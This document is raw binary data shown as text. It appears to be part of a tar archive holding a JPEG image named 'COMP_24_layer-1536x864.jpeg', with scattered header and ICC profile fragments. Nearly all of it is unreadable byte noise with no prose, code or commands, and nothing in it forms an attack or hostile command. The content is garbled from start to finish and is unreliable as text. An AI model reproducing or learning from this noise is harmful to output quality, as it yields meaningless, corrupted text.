ڔo?Id2nu̮򨑙e~ҿz_t#$6p.mdritenmHPӝq[ájz_2C:4L4S<+m9⮼%-}$u9lpO'H>nfybGi(ۚ񷈣d|u[Ũ*#P;jW`쐪3Xd2WRIHc)V@urj>nZB$8Ah ޭFD,8Qzx{ :gn.A*pS4Λ'׼’ʫ#*[&#6 4SJ ;F͌<Q5=3QX7NXbV^6rCeW\$w&uR!|[q0Xݭ_ۉ"`N:w@?395LLs}]>F?|]yeǿȢ4wI"f$gASB"^ *HrhPk{yLږIt9я?*Pso"%*)\HFM"!чZe+~lpO ZCʏ>jrMd,l2O~jib$v̠Ǹ o1W{~w(Q޶Pis`֛McT0G.M~>*+ lbpjeq-A4lyEnlǭX$VjMVÌ2g)l -E䚔vR׎ᔪ[:Ihe}FM օ{r-(%jp@NIZg#*'ˬv%"OSH%+=iW21i>FhQEkyÊ $ Ȫb.)o毖m H Uq 2݀CװS%޹s)jjdIq3*xAʌe\Yi40(yΡ2ct'ߑ5HI4.๞>"7+8UbDw>g :䷶+?'QQXfk9m2vryuF2J[쳴KQc4u{zTvkf$wfꥶ.x8TQh&EWy!9s1/jY#ڌQ3އaka3?#F瞀Rmif)<7y( +:na}MA,fzߊvV5C,[x28TTOyآ\KU1֊W,daћ?o8VrT`QP87ئ>+<[-1=oAg§kJ3H=.qYgm!xYppCR%)4wݏ}ᱣ_hzl6^UHrŌ 4y.Qm>_Zl Ž2sSWԊ:[Moa9ǖzնI`"v9D(\pI5;UAPT´iEC3px94 %z0+Aj_>SJK($Z;D;G%k [)Xddu9Wj`a[\OpjS3&<⻗g#Z+!SZTbTuEltylzړHmm|f%eFJH#Օ0#}#$J#ڮ.4xE)U#[i}FI=B==LQ[_a4ҹqz?K>qϟhVi H$t%Hx*};A深je<u1! 4rk|NOcV;qMֽ2͒i/Xz`I tϙrRԎj7,aG4~;cQvZtQgqNYiTѫt=óYq$u?5M;`ۨH|)lC5&ia֏K/TyA(k>ƚkA'ȥq^(=!}KjLxnM4#ս R9\]L[Bڱ(=7IN{͵;vv!Te]j,*~3,j J9! fum26Cn|64;+u >H."Ht>VLIZ ÂqU9dmab9t&B6r;{إ%дъ'XqJ+1aLH"vHN$nz/.Xv+3^4.U}ԫ*tMAw}%̅RR5Z Ywe ͒$d=?: >3VVR,MӑJ(ı$ ~ T5DBF 8mDqU5iv\$|i^ M> VqX靥ZVX9IZSZ!sּC6hʖ6qڳkQ~*"weU d;M=yBV?Y.XkLr|BܠoHQIiwE.M[*9פ{V4`nXRA*f$[Du}S SPZ m:+vpr$Exd@jG(SQ7>3Wr,2r[cB-Yt2 F1L)^>G٩Pk£q$XmWE\Atrc眞٬nuIxCE0[tzJ/h jkkteKzn$)p0n Xtv)V⋧Ěq鶓A/"x=ީI^#tvkHx>Y.i=pa ~I?gX]% NALvI)<'vwe:Q.&սc3AgktnEmy9vYۨ4Va`t h!C+fBӠx!F_WzcK;pC<Q U1jwӗi5An=>kG,/F9bAn:y=`D e$ϥQ麬ćld.D?NxPt¯Oo6XtXݻzN;R>'8pVm è>բUtٕOOqJٝMl6 X[D~+#.Kqisg[e'#f\ثoʓ+o, i{Pc(=Oəz )S _ΓQec k6)[qWwv2Ċ\RNeAڦ-'""E ^P ~ygǡ.ٸZ$tYŬ{,ájӒ73Y b.BkJ쐝2wuTohRgjՓgwZwG8 HȮjѠ ;;TE"i<,*5os̨8ڙ5Ei*ᤞ7x8YZ$\Y%fF*A}OC&(2Le#'UsjIJVR0Ix8^b!VIQP})G٧Ծ2%E]ȫ4cq)^3t!eyry"2r22T"I'(Vj IAB|Rw^` 0zƛ W*"dgaTB?yg&K!,0`SVe$םx{⢣N6KX%D1c wzֲm f3^OP*y>=Bi@6m=@^Έ8o5[kte^9nqHjA!Gڹ jymv{i!sёXZ +Ksdjzc: wmtdc{K,<ޫnVhl@;Ӯ\IG??`cԡ {b씛tZKmy(0g=zP,+ 2K\?S") 4m[#յ  94-$̠hJ]q!eE#jӮnYZ0qj)w\%P6WzRs eb> kod-[Gɥ_}Gq8In"{f݄ȼqUZ7x1Ġ&3{o 9Krxƒ1w{ Ĭ#c-׮Izq⪓NMhq1;~g IE2qcgrВB VqL*8ڧ,qUtѢ~4мFcA\r5mmpBku%v_˨/S5l2rXEW=MXCzjYe_K iڞCxV6S\7qd|v{1* =藚[FZ_Gx2>jIciՅO#/RM íey1G ߥӫWLAn "q qQ/Q-9IxVȴP㎋[ƽ5[hByTW--Ha#^{&I- "$4>=re3By2(r'vF(l:H3F'i H!pgfLaW6Wkxpۅ3nԓI,.@]ئ{NOC$SvXJ ,C~y#gvs\c,iHD\2ix1 R<9pi`ԑoɠƋ+Hv'5o9+y Gz4kNJHCG׬$#,LdWsw"19jVu%24m5sambh8{е>)VWکMP+,]a AV+`\b=*CV:xt#TK2}+[<746{Wx[^Mb)J+ާ+ܸ+AO1L`brR[/,zGMW4űu,{&#Eq~I Hq+d-cxbA*WN!h+"^{GpVݷoZR[;xP&Ǘϯt,ؐ}fd@eE hewyM[zF%1 zw&(8 ̫jMp! BKC9 `(61㚝޶܃eP-.a'O5@.@g:Y&&W8 GR9Vp Q_ 9gQz1 ErE%57F9IGW@6bcG@ke Lz,W\4 Eѣ"8U9(ŽoX1o+4hxNb#JhcfxFmi嗮+jM<0F}*[#=nU-lX$!()?24Og颌F1iE[gv~4RշDta5$hyyRsTͼbVR$d(rSr F)WA۱k=RXY;$S ..VE*{Es_O!\z yC"e{,aq8nҧr}V}K_‹¨ T-nj=?AGѸgR5Q_(DM =*BcyRA8(r(ίusm= =Thfn!H'jSce~+&zmr1?5\I!zOE8% Aj+ QyE6{l(5qn2WLS-! 5TbZaE%=LE*aN%\mHϿ ^rzUTv$ $n|Ƚ]js3ZkhgcIF ݅qIYq^U#˓Bjة$PGZ"V5pP swbk)iq <ډ@=xLܤtBj(9cWU@+?u 9 ~BdZ).o %6qd6xdPjw=a<1Yx$I>e*Gj޼s=Krз: lZ< Jjk eE?q^]V_h$eYW$mK6OOnG8ڽF8Sڴ:A% X]pqһqEhA"玕wᘌŬ.2 橭SЃZo}Tٿ|b)kE$jEF2P"fT\[ANՅv:)0)ϒOXd] 6duF¬/Hy|=-ܢw_D|u݊ *ŒME KupT@cVzד=_x,N޲ݷaᏲ%video-media/COMP_24_layer-1536x864.jpeg000060400000415106151724237330013075 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprth2|uH2fy|.wpyHKvEhFH@EakG+ar 6RS@FT-ByuDDC7˱ѭ J.uf{oq$X"so0|K~dŬԹƃBFּDG!v"ԧ4&Y5  7Wk&[Xqۢ?ږF64E /Qpُ)wFJցG]ix'f4F)fEl^ԥzGcH?26 wS1K"xX|_`.1 lTO{[Yl}#H~0tsL!mF)b'tϖ=-*>#32k@:(@~EM>VϋrvX{/wpr"rLb 1h溬fwM?fD[FOvGg.Ai<%(8>䶤fVWI! Un F FY͋fogvքgI jggajpٶ[TN6I=VYrѦU4gNsYԏ>|QSPdq+<䎊5&8FcTRB'XĬjqR4#Xc6mJH`W]I))0\o 6b%ԋ R ZE+E$]Hu u%B]HRR$jM%'bԎiu%BtRJFRm@TP9Et@K- T. $(R))ԘRNW ("6BDBJL(%{쒑BH&{RtNm ZPLB.ԐQ R 4rEXz.M(;E˓HmrtM\!SBB)B*JhHnIIBPP )9VLCT}R2)=%0R*IHiu%PRJKErJ]K\Hrԉu ԕrI.;B$@B>ȗ ں@KBG%"R+p+A `܇d0Qb!ym\Y{H &Vs/=~L5 ё! Gqd)Qߎn`y|Mز6c*Vn*O,~Rnr,"k|?E!j6x'Mk.68/.i{X"7 ^V2ǐ:/I Es\lKG-r&:.p-ˢ8N4NLQ#nLcP"d&SB)Eci5)tJdX@Uћ{Ӕ;$Hj6RLD'AnVtq2-ǐpt׆c!Kl%w#h&46NFp xLXTZzn#91^VK,e*J*Ty eoD@T@(Аy hb|(CKs@-ٴtnFx7NZ#ޗ8I~`%Lc.=SmÞ`WwKz /0Ǘ&6K6Hv[?dd45QY'Icdq6@1;G~<_|Z󽃹4B͊d{{+aɐh*I>'ncrtEp+C5syoʥErFHTZGE!5)^4,l:<%cH7u\'Pp" (j 8Hv.XqT:\Zڄ C[R'H࡯TJG% T IAJLUȰ"$E芒R HXQ@2-&ҕ .)PN$ERQGvI ()!)*-1 I*%IDzȩvԀ%RmEK0ڒ9A!jv*u"ڻj HB-M 6)%$m]HTErSРM w!'R%r`.\g$K\$:BRH  @ pjTDW& (Rlu#"m(*h+%)DjZ]iPR)rԺ.RJRU+-. [F$.{)-umw1XX<0ZnKbسY lD^MХ ^N.srε rGM@m+L8|PMmoD8 9#p&=xh$OӺ*Sx6e=Ta[~W1 ]@|-c2;VFrگŒFSDxN{C\8=VFG?LK.^'b77X^fO_H+d]o%to&^ÍQ$eji.oߩvm30 Mr8<ڻ#˒u((QSqȐp{›ɕ+Ya62Hn'-eE(ٻx75$߹(s k n峣-*Fg9ΚyOU( .9'9OrgZIE2!g!F9Z7^8ދ=6cu4)6osMScaǏ:06A]\F]W|~QȐ0w #s \ DɷؠT-;wb FwP~SowC#M;K𦣩t8,@,%?lB$` GH`gu#j96kRN1H RvoOstfqgZI7|;i.?S*6-[őɛ/P#ox38qvd~q>86:<#? S;+GyMg/ح%Xd|`딓s?۱H@~ddmlm[³uGo7]襣XnZYN+=Bugi6E,ʃIl:l͵+ #`wE7 -a5[2Y#;bI [6yZؼ܇<^#\7cJ"~*-.HŋFXKRy~DZ.)mKNWsWH4z8~4f]>2wKcDͱa0 kle@Ʌ8Y]G̎#3AMl㹆쭼C|w_7G ^vHM+QC.J NRM l6OCze"6/@ $mO5 &A#kPR@ 8FH)u"ڻj IIIA7K9I)$tRR@l$Rt!o 5q bԎP@ {RRbTRR%"RhԖQ@t}R:(hڻj*+Ȉ))CICRJNm4IG% Cuk$@iu @hFBJ@.t0(EV iuUi)0AI4P $R4I)%"d4N@лhENHi9\!u""R ]H"@I)!@Ԗ IE+-ZDRD*JND"Hrz${"EBZ+PCH)%"IIH\@ K*4@ I(HrUԀrZ]H)u%ԀR*]I64 .T:(qݶphU|MJo5rѹ76$Т2{½Y<[%^D<'U:^1{MV>LK˗ȪvKVf!fjdrHzPRݮXE1 ˗őFֵr2x{nYg2%X건\XZ-F>?v wS>9FyRnѥGKs{L.Ii%OppŒJEt> F')~-ktaZhSreanSc SUsD#|xrj #osK#X<35dD頒t]1tqԄ% %%QfQtk= hƽxVLzdƒO)LR~C\)ܟ c`ubO,VX&FsmR2^D.,K@.WR(rI7W*c\,lÍ .5?+S|S6,f(VEeƌ 5Lri',z= Knip34U#P6Obi?Y c?ETe<#cfCK{4p&lyeƀvPy2 Q1p4붮cU#Ye7m^ށ 6SKQq T]lұ~*( XQa08cChO2ivEW66@5yLtO[8Ѭ~^c-`rk- <&|hM#_V(ԋ*{QwC2, N5Rqdhh򰚈lMvzl8fyZdl-ak{Yv΅B;2W"6=I$tdL]<ٜoZMsNO3]d209thh^|gR[U`2wu71ԭ< Wjױ :uĺ>=d3?NZ9 l uL%.Q{5l!54KϲK_a 9Gxc{ēߴUҋ$y$U uFXg7z<[crmۉqqIZ_5v 4BʩmI6\o%HcxHykR1kTbrIT `\XRlI8BM5KmH[I-.ژ ]Hu Ce o);m7! ݩTjwjJLIV-CT@"R4S@JTRRb!EA!@.4"+IVGHHCTBEZEI)Rhut4o )IHI $!.!&tj":m@KRZ\R$)%t$GI4@-.@KD!E\#R(!$( (#i( ڎ Q.A47K$@BKKKKK 䫨 )R+(DI!%)RJ4ECDԕr,ԕr,ECRZ]J@J]IWRFtnBЧaoʙ4kv(sӺԨtJbs\.)wQbC[`S41I="i7U508S¥'vrkĺ@ʍ ; |LrrZ;cQZ$2{uK&wĞDN}iR-Hʜ94qE3as[@Z(4=6.v28 u>LqVpv;qu넡7܅uIes#K(;.ar#=GdC ݩ`?uJnnNf:Cʛ8򫠏k@ fsq,&v87/^AhYid㽮 7R< XCq]{,0.NSxX#lQ\>Ouz(d,Y.h'pM'c7 ozy +(cY+ &-͚NtTV` 0 ; !uW{v$i#^Z]tR]<ߦ W6V2);fP _4m LZ}_4 $ʐ1%V(92;c=UۗV4?#f)7fy3Q .`pw0GXIt+2Zdp5%A(cl_ma}Z$f4:$nC K~xVEtMIx WF_C/o*6T! ckFﹽb7;\rKC_Wz8yG98ŪV/f${UvwcKCe/Ǫ gDWD*짶 O"8))~O&=OԜj,*]HII4@ K*&$Rv ir*IHRR%;RR4Z )QD) Q-; -Bړjiv-= &*-%jb5uRsjEtmb]Hu ]H]A1P.UDXT`%$EI ,@ڊRaCi).@!u"]H+4veQ":BP!R$u"H섶"U W W ԕr`Ԅ"IHI6R&Pd C@!"rR,ړjrBv]ӄtj䴺R*]Hr* \ Hࡢ]A .`c-[O*e5qrprQkIWj^Y :g+XsIp&L~,7q,uCy7TM-6RZtlA U8tJ .ڔ%AT .I)BRKK@Rm> @PD"ԕ4 J5ƀR!{'$\X\kacKrSN<ƑxxZ{J)APT8!MZ꼜\q=`\[JJ7=YmƛΉ.:,LH r^)m(y9I"=["&/KnۿVrGt)e|"=-dE:0\dqrdyӸپi,Wfy%cKD7;O FI{ϙ{!ЛLq<VBiZw_|e'*UÔ+|Zߢizc0ۼOfl8*^(x$7])q-ju @ :!Ad\ :n&@KMTQC5_2tTUuǗyNS%EyYݍhd'Me)Spcۏ(W#tANH>"v B5c4RZ).$=6 g ")"wjnPJ%.JF"JEE% ȫiu%+-.Q]E0)%"lPmwnFBV f{Ĭ.u1W8lbRlZo()$p{8. ,~,(h*+rL`1yA-{G6Sp C+Xh岻/P ұ]f Bx#ƹQvA$2 1PGqڴ8Y@HW6Z);o[&5K!'PSy;01Y$"+c8}$k[$2ɩ>Ҹ1id Bmw+nin﷚ZM_(5yֻ-5A\g7E)w;nߏeYKq3Hdw$U΃' >F~J8uRM|{U캛7yfI՞Gg qk9j(f|<4EBa#.aÿb3=VUe121\A|d=ϒ7ъ1RދO y!ſ lW( y/GFp™.;êeF<W@R5O=Ip\焮8 ҇FvNoZ6Q{=+.stдXt"fl& 1pdxSE4?ae԰4?'N1-b<\<̐C,06L㌚z, idm|28CnнF>K.NLEih(u%\iu"RZKHiu%\RUY@+/2fdl|Pq3Ҽ?+_Tz4ղ>DaZtB) 2c׈7ͮXH=nkM)fb1P$LB&6Vۂ#Ɲ $DƽkE!ߪGA Che'M1.yA&Dq]JTmXTPGǎwuMh=CA@!2h2?u!S~ƞZl,[32ڻ e#-nt>+1e}סO`&ŋY_ $O+3i4;,]?½@~^F63{6w5ɝy ,~e}mʎL$uV)v^xbj2u c\xz|t|aq׹(Lh5:"lS -B9e YI~HuOAñQpZ9olQu˂CЧfa(n vg3xmF{,ZE.-=q=T{a7$2WQ*<9{cy)ٙ/.hW9v6j~CfG4qh$RH6GxL DPL '-3)4&GŠ!4&V:y$'Y %,x=hoDduGZSE' %&G'h~\Lnp+qq>RV\il3'e cn5*B\f263SpxL,/ɓO?Xo$v@l܎,oaܧmhoEltG~&"@z{!m)DGz&cO}mТG͚x5x7-&f^u\%> 6zE\R\od hM$ͫ `r zc^<Ө2 >R0 |7,~i[?B!mĢSco~ ny‹)|4380|,änهhTCW;$F|ִ 4=շKbSz.GT P3dJkQ2bn>9>d{XDAXk gS.xha0z\[`j 8M ;s2N>TƝiZe/Ѯ|N_ #43-3[dlȲG\G]<>$jYc{s,_LӺxiXB俔&Ê)v7Pa.w+4Q0QP\^R[ ()r*]H+$IGD9uː䋐!-J@E! CԈ$"DIRE%'b%ڄ()jBԫZp$ڋ ,Ԍ6)j={xI8jv! NPHKlN $<"1 p&NCT$".#tNb'I@@ (# !@E%"HԀТũ CAR*IHHIH%&Q%9\!4 ]IW (#H@@IAijZ@T 6RDM)"J%"\ ir.Cm++bcNc`RҴn"h]Y2p978ou8pi8#洎Sa-G3P64aHOGOoْ8~lQFɟ V4sa,g blIiu9k=iNvlGNTYS&.+!-ocE+$@ 3%1 Q.T';?d>HCGvʶ(8dI!eb|8eYЫN c G+ mGV)}1e02?P[e[ L<$'8xG+{6g3@M 6_erًZevlO1*<9=e7MaC=f`Z?c=Z?Ȕil:X?5͆1$q8_25B0yhUD9yfdL XҒ۷)O"h#Vdu}1Vl-s_-H˿*\M_~+!v%y9%LT$/4gfŔ1cIodY N9@P[kQWO99yV. B:H@EI) [WmL]Ih\u \RDrr ԍrnR: &!8BB2R e6iBWt@ж!ԑ(6hHB0%')!jlڒbBB 6d$#$- HBio6i jv!]#! *trPMZ)tWRhM m]' PQLH~ De6@RjJM+-.@(@认d!$vC@  jvԉ% @RE"RR"Mm 6ImH0^I}ȋ#6T3KU mr箏CٰRsfУ(gu,zu뚣aBO =ڎ<Lq ,[jҿ*w0IKh^I]#̛z,4X d_uØ *L,/%ebpj'|i$I)ܢ?L<%MstU6O+!8Md-9$VH JG.)hڀrZ]HR*]HN3 '")Q$A+ZD>?_ATYۻmF;vɸ,:p’ _?@xOmB. iK|{B0APc%^^jdClAI=:&<l14Ep1#q =1YķxcYACqㄢMYFj$N_*#[E>E,o+JD6sHTbkʯtJVn&4Bӵ#5X*k.s9T@lxɂ<(~Y2['nl^chEq纞yQ7Bj}z{vvtyV?SN3K֝mMCs^Hh9M)?:3쪱۷lN-f\A055 # c_LɦJc#bpvDHZ~)əX/Y~$Jc%|{S->[ND)^n)9vD&򶎓-ϰXiF÷VB͏3Ncv}*y>K?3ȆWoDy8E\=<)XHU[5 kuI=&yk)u¢Zed`=yP=Ҽ.FKOEe _# |_?oFэ-"Ne}l?oɰw`NF4.bI;8tQeu "&X-6]ԞEF7h? jY |xP—&\HutĚ w^puYxNc/WyV /9Fzy[};1h3*٠eHd:-p#GR&mHB+\PP]A-HJ"{S@!rkB i( KD˗.@ I*.@ I:m`-  RJRP@J:.Ǣb8@%@P)rPHhRKiP{>Rv o"t &jr"m)H[:II$dJІH)6Kir$'H$Z,CtچR&P:H@[e CdpԅS*"&ȩ% j$dRJ@HG% )i) ) ) JEKԔm.:WPqqAc⦺ 3Qx^7/? ;nuYjM\3R8+zrĴ iGmi&^ap<楐KO+U\JkeW:{I'_x%ޣ|ҠdΔ4|'쟕KHʐ#I-\Z8oV]!8r cd)W%JV8_E^3'aiFahet m9v悡m=Pɘbw6N + jN;CzƧ.W^a9ͺ1VÕGWov*r*HCJԴR,w*KdcZk8(%&|yg( ١ƖT\,80LޫR=! mn;lM.&u)/cJ6J'!l 92qz"df{d;0:ԘsJY[$2Gyҥid`6HnQT| r)Eܥa5Dz@'+^,'l#1Fb .w4Je"8 Yʑ~PKe7p6Lw1p$Fdqy-=HɕDQݚMH̬g8m{iè+9FP\/Uִ'p'b;;O{m>עe$yF~;sZoA k:+o,G͚`@dbǗGLq n$ǘ=#tuҞtvh5i^e3-0AW4I;FZg1{tnUؤK.p H=.^LbJyqŧg&l5#㊹[xG_e>{9%4ȘJx1 &CMGdivtQ917GF¸OVo68۲)|B~>.K}ü`?wuX:f)tn6h괺/5Eʀ(/V i;qP.2tŭb?b!u慦?#>\W[x춆CXsŇU9b+t{-fg.3*7}36Aa֬Rb-B⣳ i]Ls#dQ/0LDMPr2C,7c-8jitYygf[}4{.(1 QeP(i9Av읅 [WGP %#R,@KI)r\Z]&%44)5|!,NDbQODZBXP+ ژ%ܒR0RS`JaJԅ<@v†vSŨvb%'6-;HvK†P#T3 ͩ U&*)%lhM NS CT4 "&$rPIHJ@QeԜ)*)%"R>)RIH% HR@Eeu"/@? ߶2Q⍰‹<^7|Q33qÔVr򥳢E6K$ڥf)s:J4:Cw]_R'9zqGGb~5=fLːM^BZ {` 4 ǃ3 )t+B OSxcdqzZ@+EyǦ˖\xqD2'ęnp褾v`߲ra,pp #&\5@Iz_`e4Bɡr&,/pdN@ߩY]o4;pmէbfsP3H]|*绪!.*+tCL xKɔ5W+@qFd_dOivFId7SF;$ήM3lgSAN6}tm'{ŀ qO҇,t4߲-%K|ٯtbi=Rr'#lR8 X$M!}'k湧NΉ+KT.n\lO𰽤fZXʏxk+ѸTϡp/X~q8}`¾tG@lK4^}14{lh8 :3MJ˜x"hl^e^:5fك"Yz/ ދAi^P*+|;}8Tٷ(L{T-3Y=?Fs~-9&ָ~eOkRYTlM;]a Qr7~Qv-~B;.2Y3)mڃ!,w< 'Y(AHc0nChN+;%uY9Ip"c@ qDD05hi惚8z&1_Y566I t#5ƞ줘.f0$4G _"c8Wӥ7*q w\dEĎ.U^=Sb)sZ>V,,GYY]bGVǹZчEdz>EG<9Ko 3|Ի#T;2wC{G pl!E{EAPptm%Q]觺VuQ3Il(bəԙfh]8hq1&F*y,Lo R9d_Ũ ֶеR6W wvaZ`{iZ +4ݓ.0մIZ p/6up7WkuH-# :56uNQ3RXpkR,W(l#Z*ERJJC]HB ԊR7Er*+1) 4:5rchD H"P.r4X,RhKLTE-!u''bR' dRHm.:=mZxD ؀:9R -Ob9KPnaTM $!UPIݶm de>Z-A46BJNКT2@-IIIH*L@(!)%#ԁ ]H%R@DEr? 9K܏o Wv} żNJQHݕ݂U`A 2BDJƦJEB6|qqVDx| 9cHyV0VttV]^ j(*&,ȥp"ގ+4k!A'BN TS0+Ai sʒ48 ڭ1ǫ$Yq]D8 `9$u.JIH"BRW EKԀv(1 6 !읧짷IQkp/`+Q)4Pp4@.=xʊ{)CEE9qo>7Ec8QT\] QdBv)*'R'Im. 0?GӘ/{O!fu ;is[ǒ}W/3|S:H_р$yd7جuhrE ~l.XlBW:LrWt/̌;-v#9ۜ#mwQ2b(/r#-7sµ`|y2S`\ѐ'+yNAsK9ۏ1u@w^9` v(~sG\hfD.L˧#^QoCjZ)&N/jlRm!ۅNO Ѻ9-c㻱ԪJm0ل[!$)蘭 ru:V{IDOT[1su? 6#6\Oy|"h*lG#]#GmΎNQ. O 8ɐ{5$23Dn]CV~ %:W٩26}=WK\,n["%K,ĉC?ޗ[Ⱦ !os[*ڶx m=H2쌀ކJXvi ʴO 69='`DQ6;l8 I8Grf0TG'c*d4GW3=9T#/h;y/Ѭ<gyrz,;k{pTy4uOCwuXero.oʊO*LJ"LiC3wt%SF7 6`$JRV;یugQ X 'a( ,6\쥊l,dq!Yh\uSaG/Ue qB>M" Snx;B&KZ괌wB8J \HN*D G MZDG17Ls&>!Q!>& ctq h=@6Z? o)ؚ#ڞsPmMm%"!"b)u"ZBD\Tԕu'`%$!D\% )Ajv [|Cd+@S  #Ioqxižᵄh)s7f q2~!ܳSw,A ՉdWdYSPW|#+ &;!TcA)Sdr=YUΡ`*,}uk45OR8X,5n0 gR:rbRZ\PD \Wː!6Bx1j dl8>;jD]\J]ּ:N #ūH=H\ Pj@T xzJ1? UU&_BouN^GTGwBp#h])UF^ŢKZ5Pe^䪸u?Tȥ/"eBqyEx9t.)<ʈ>-#Z=)&ݭ)!܄a2G*Dn_K)j7~܈k}`_ #hdtlޖ˝diء#ļC6]CZZ(PYZZ-`{/e׼%Fq.^hW2X]߅n:`jol"Fߺ = {OFi6,lF/+&4搴"M24K͘#7t%a4A4H>uKlw*&sZhP5*pbm y<926 Gk*5,ǖPYurO1O6Coꦟ ßf,0n@zf |dGV%D~;_EC= Q}`aoZ|0M H=|9[iD{ x:| [J9rDɡkp?9F̑ yk~TX^$YFCF41x{ZlkIJ+Ug>c}T:O{lh=V{Q!{q)'fto uIm9E,>.V!/ɑη9`5#&Kf7FUFlַ#+T`p@D`"n@K}$_ʨ՛!aH u V91b>H ,YJv3yjZ>PÌ8dGs8SM%3^+x\Om!˕Wԃid'{x+[Á?uTiZvc|%}|& 쾂9nv\Tꁐo?j4KqNGʜ6DGH&l`HaoD'"VYddovRc]ӍNj4RE )UO3+p꧋E)&:G4qxHc. 426)n&[!u-* OREU3A)4U!?Kx a$=f.(i,Ip|DǴzvb>Vw+eG7zZuwux@9u*dFP2U*<]_q5Cx٬<{8V'[7Tx2xIV9?u`+RDuUd'8p읓ŏ$"Ї.?"&rjBD!v@RBR@i:@RڑA \./M%P`UV^M|s|9|S s1e*Fmi?^)⌧\Hд Tg !d1ФEM)-YIPY 9r@rې;u\X h@Lt{>Ә!e!!M+hnR%؆P' iXIs}eبfpxiԀA4"#! BRJEI RR$…x*x9#lgg><(lIYZkc$ucHi'zr(9 VcKجWBZv;Q7;ׅ˛E>A䨯$nb?m4m4\B*]KS!Ԋ KrX*EJ@9R+Bv֩vk$\MGdGtm=Tq3}UopVzX|-2`8qpqQ$Pa$Tk kaYOæV8XYrh,w1<8G9WW“xW# Α.oI Ň-O'dL1uNkyYuqRɇlWv{ .TiZp݌sDz<7v/=м,5E9kYˏo+t\fAԕF$혬_ I|ٗ'$`8-pIyҷxiVe`e{Qd}M:# hYa7EGafKKp` u#Q;kCmƁ,pDƷTٓGq.ήbE6[dtMEk I;!gbIC#wǒo~CKfid8!>CÿV@$͔'hs=pmt-,u F[`ү6~3xqv?eS=Rp>ѧֶQv56BE<+Xҡf>V#ra`0.*L't:'۞A6m$|+*_1rhc /DLr OkU)6O3{GqŸkk&:UEY mi%*<M> UFB 7jӮlo=Z ilv׶}D%CN1e{c-qu~Ul`5VReN~Mh^g jb i#?)$CP.9ž(G[78![h2]vX[}Ѳ* Sow Pu";ZT8EMӢ.~ƺU'y)v$ƛ] >+YdhsmAFAĩ|DǤ~=,[#+PkKE<*&Po@O'Qr0}$*nRaShC;{ڮLϧ|)WEAueB枈tLS-\G*V?+LgR+Hi\&9$,f8 S];+,hQMRMiM 'uԺ;]wQ mj ?R.T;С0I{5knfai>",4^!*lZoŖfw?rk#Dhx5ހ4SsJYp?zZ{?[p#Tu8V{75ԘbjkCq̙4xrp{huu \Yv:9R )cqKD4-RC6i]Hq ب Hz">lXG x5K…x(%O9oxsdޗx ˀͩmo+wCN$4+Ӽ7Z£mk-#cEt dʄKL)U+H&1X3ޅڐvC\ )hFD҂+AcdNot452@]kZ imuEKxOUX >BlL!jsbY<@!GT@n#R IrUbPZ⵭`x(mh H[&%CəH]6GeQC*gSKHkfͬnApŽlӲ)$tJiu:l#mƚIL=920#+ dH\ʓD\T=u* Tk?-Tz:,z,z~b7cA;-^0"]EWR ]. $+$ZMu *\@KIW$4; wq>CZ2(r)H9ġT,D"CUi:Ģ܈8'YMQ{%ǾslS@9-&ԨI-P]U99 utɎeܬ'EŴ9?H1 %R 60Bp-SyJ} sb,py[[ϲe2t1{>V*LǍIx|ʌt?)kN8~쑭O-tXd'yܪVwA!qD0b7y-W˕xUdZDJ17]փJtf[VrJM'XbӜxwOЙ<ɒCԕ"2<X]=X5=mzJ p79`'6ZK8ծp6 *[u*;4R=F &ӡl )׊ ZC{nf"' 8@L>6KcaOG J,Ô@ =Ϗp  9CKء1E&!B#fhPI$&7PAv,x)Zv 3 Ev暠,+0~;T275<ַmCH@<_};Z/е /܁\8M$."I ?@A<"* pk]w_U7Lf]!Km@tC*4qCB$ 9p@m hZW88$3^ "R-uUnkq)(mC򍒇V*e)2&|F)5Te AНj,!I2Л ҵ#)OUJSŋDh1 9hPUR3S虩P'ND]e>(-x5䒬s.|R~>[DLEG C@ǟ򱦶nfWsOZc@լ49*,2HOdnN<XXs2-Q|xѷ(;ynUVUhzDs~;F>]U,ERЭD^2cMZ4HɵZ2*Tr(.sEg RmbR{oKxLjLM \"ft쯣n P(R-VWjN[miCq܍V07S i%i5#L+%Qu3tWI)J62IXiͥÄxl44xe]iQQ*!CD 劘V{RkI>Qʉd3$A]M vZX2C,~&m$QDD*LB$#TZ\P( +9A&@KĔRTT) +G C{icV;sAUǸ!'gݏ s1^H"eTSL^G*4mevtFz6>2R(wuDCx \sǑz̊Qq67$9M0:҄o܀DIM( TE ;=KFI CXXU>&O LSXIneP)FҶ38BO H!sGUhN聃x v9B)(~GBpw&9F_ )9&B'HF|&~Vf%2H7(Qr<̦Cy{bq<54Gl$ѵ_=GܨXqH:Ksp цIl8Ӊ@M;2gG%h+ez;i-иoOf>v6[%zU5cGIH;f~3]NcP.I k#NY?̷{\ܢcEu1L-QӵCM EyɎӸ%v N>FK/#?>#|w{l=s0qKw-dYp6H BGy.jx`v |8t <HiM.'Nە> ]4|.dec+-z-"*5J n>&߲v9 D8s`psH0)C!o(Da1˛ȺGuBWw@<NQ@h6 +'gh# )4qɬs)WK/8l8S"`h)K]*e+:O) X!M%,\Q!hQ̏ ' iFdɩk@\JC%AWKH<*ZZ TP|vf8 D0@썸`K8CM1՚8uw4Va4.c (r|2e,Io٪4A­bbxT2 8c^:6 ͳR>u*Pi%k-4H-ꍑU57)tFG<>#2FASxjv`"Kv@mq#D*IH$<.K" ð&)A@(OK] B[s, Le7I)7B$HZrR,#ri;SPj mv"$d!o 6HBi. K|S\ihhlgOZEN ޒ3jw)c+!M!d3%zV_+Wn4y77i( 47xZJi)[Gb@ҙMMHy14SS]UCxZ5KVs噛B 40]# b .ZеǙ(D@ Aqd(.[RRD.ژU.J.HHu! RZL@I@$J9SapU<,RE \ٖ;rg z;"ѲcsBBþ)XQ&a+)!c%-HۓfD1'cOIŵPپ;umeT{Z !o ԭ㪄Lsw :ZKD1{ 8¦+ 8%WũΙkv&lTy%Z7id1>bjFX-JOZZ]Ejq8S ޶VfELe m*H \[7Tt#J 7HŎ75êypuJꭑ"o{Qd`q*V\Ajqyr GX%t& V4Y&%la(P{Iʏ/~Mi{{Ki*UQwSlr,;I ](I^ݦ=ysk?LR:4.[,3k!пs#D~S vTP崱!Wc˃;wW0$y` ?6Le5۞ܘ,=bk9m!hk_ sW^yZ*~Ce۾J^3g1p5l3#`|ok{4DBljfcCԝ*>P,2;i.( dTeC@D;I<" UD֍_TZBWKQI,R r`䡥"#&klm GRTHd~PAGdmiGT @8脓iͼ!{R@䢂D֟e»N1؜\f 